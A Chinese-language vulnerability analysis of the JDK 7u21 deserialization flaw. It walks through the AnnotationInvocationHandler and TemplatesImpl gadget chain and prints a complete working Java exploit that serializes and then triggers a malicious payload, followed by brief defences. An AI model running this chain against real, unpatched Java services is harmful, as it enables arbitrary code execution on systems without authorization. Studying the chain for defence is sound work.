JDK7u21反序列化漏洞深入分析与利用
漏洞概述
JDK7u21反序列化漏洞是Java 7u21及之前版本中存在的一个高危漏洞,允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。该漏洞的核心在于sun.reflect.annotation.AnnotationInvocationHandler类的equalsImpl方法中的不安全反射调用。
漏洞核心分析
AnnotationInvocationHandler.equalsImpl方法
漏洞的核心在于sun.reflect.annotation.AnnotationInvocationHandler类的equalsImpl方法:
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1); // 关键漏洞点
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
关键点在于var5.invoke(var1)这行代码,它通过反射调用了传入对象的方法。
getMemberMethods方法
equalsImpl方法中调用的getMemberMethods()方法实现如下:
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
该方法会获取当前type属性的所有声明方法,并将其设置为可访问。
利用链构造
利用TemplatesImpl链
对于Java自带的类,可以利用TemplatesImpl链。如果type中仅有触发TemplatesImpl链的方法,就可以通过equalsImpl函数的反射调用触发TemplatesImpl链。
Templates接口类的两个方法newTransformer和getOutputProperties都可以作为TemplatesImpl链的触发方法。
通过动态代理调用equalsImpl
equalsImpl是私有方法,不能直接调用,但可以通过AnnotationInvocationHandler的唯一公共方法invoke来间接调用:
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
}
// 其他代码...
}
要触发invoke方法,可以构造一个动态代理Proxy,通过调用代理的equals方法来触发invoke。
完整利用步骤
1. 构造恶意TemplatesImpl类
TemplatesImpl templates = new TemplatesImpl();
byte[] evil = Files.readAllBytes(Paths.get("恶意类路径"));
byte[][] evilcode = {evil};
// 设置_name字段
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"任意名称");
// 设置_bytecodes字段
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,evilcode);
// 设置_tfactory字段
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
注意:恶意类需要实现AbstractTranslet接口,因为在TemplatesImpl#defineTransletClasses方法中会检查:
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
2. 创建AnnotationInvocationHandler代理
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
// 创建初始HashMap,用一个字符串占位
HashMap hashMap = new HashMap();
hashMap.put("f5a5a608","占位值");
// 使用Templates.class作为第一个参数
Object o = declaredConstructor.newInstance(Templates.class,hashMap);
// 创建动态代理
Map ProxyMap = (Map) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Map.class},
(InvocationHandler) o
);
// 将占位的value替换为templates
hashMap.put("f5a5a608",templates);
3. 构造触发HashMap
为了使ProxyMap.hashCode()和templates.hashCode()相等,需要满足:
memberValues中只有一个键值对- 键的
hashCode等于0 - 值为
templates对象
HashMap evilmap = new HashMap();
evilmap.put(ProxyMap,null);
evilmap.put(templates,null);
4. 序列化与反序列化触发
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(evilmap);
// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
替代触发方式
除了直接调用HashMap.put方法,还可以通过反射调用HashMap#putForCreate方法:
Method putForCreate = HashMap.class.getDeclaredMethod("putForCreate", Object.class, Object.class);
putForCreate.setAccessible(true);
putForCreate.invoke(evilmap,templates,null);
putForCreate.invoke(evilmap,ProxyMap,null);
这种方式在HashMap#readObject函数中被调用,因此可以直接通过反序列化触发。
完整EXP示例
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class EXP {
public static void main(String[] args) throws Exception {
// 构造恶意TemplatesImpl类
TemplatesImpl templates = new TemplatesImpl();
byte[] evil = Files.readAllBytes(Paths.get("恶意类路径"));
byte[][] evilcode = {evil};
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"任意名称");
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,evilcode);
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// 创建AnnotationInvocationHandler代理
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
HashMap hashMap = new HashMap();
hashMap.put("f5a5a608","占位值");
Object o = declaredConstructor.newInstance(Templates.class,hashMap);
Map ProxyMap = (Map) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Map.class},
(InvocationHandler) o
);
hashMap.put("f5a5a608",templates);
// 构造触发HashMap
HashMap evilmap = new HashMap();
evilmap.put(ProxyMap,null);
evilmap.put(templates,null);
// 序列化与触发
serialize(evilmap);
deserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object deserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
}
防御措施
- 升级JDK到7u21之后的版本
- 对反序列化操作进行严格限制
- 使用安全管理器限制危险操作
- 使用白名单机制控制可反序列化的类
总结
JDK7u21反序列化漏洞通过精心构造的序列化数据,利用AnnotationInvocationHandler和TemplatesImpl的反射机制,实现了任意代码执行。理解该漏洞的利用链和触发机制对于防御类似漏洞具有重要意义。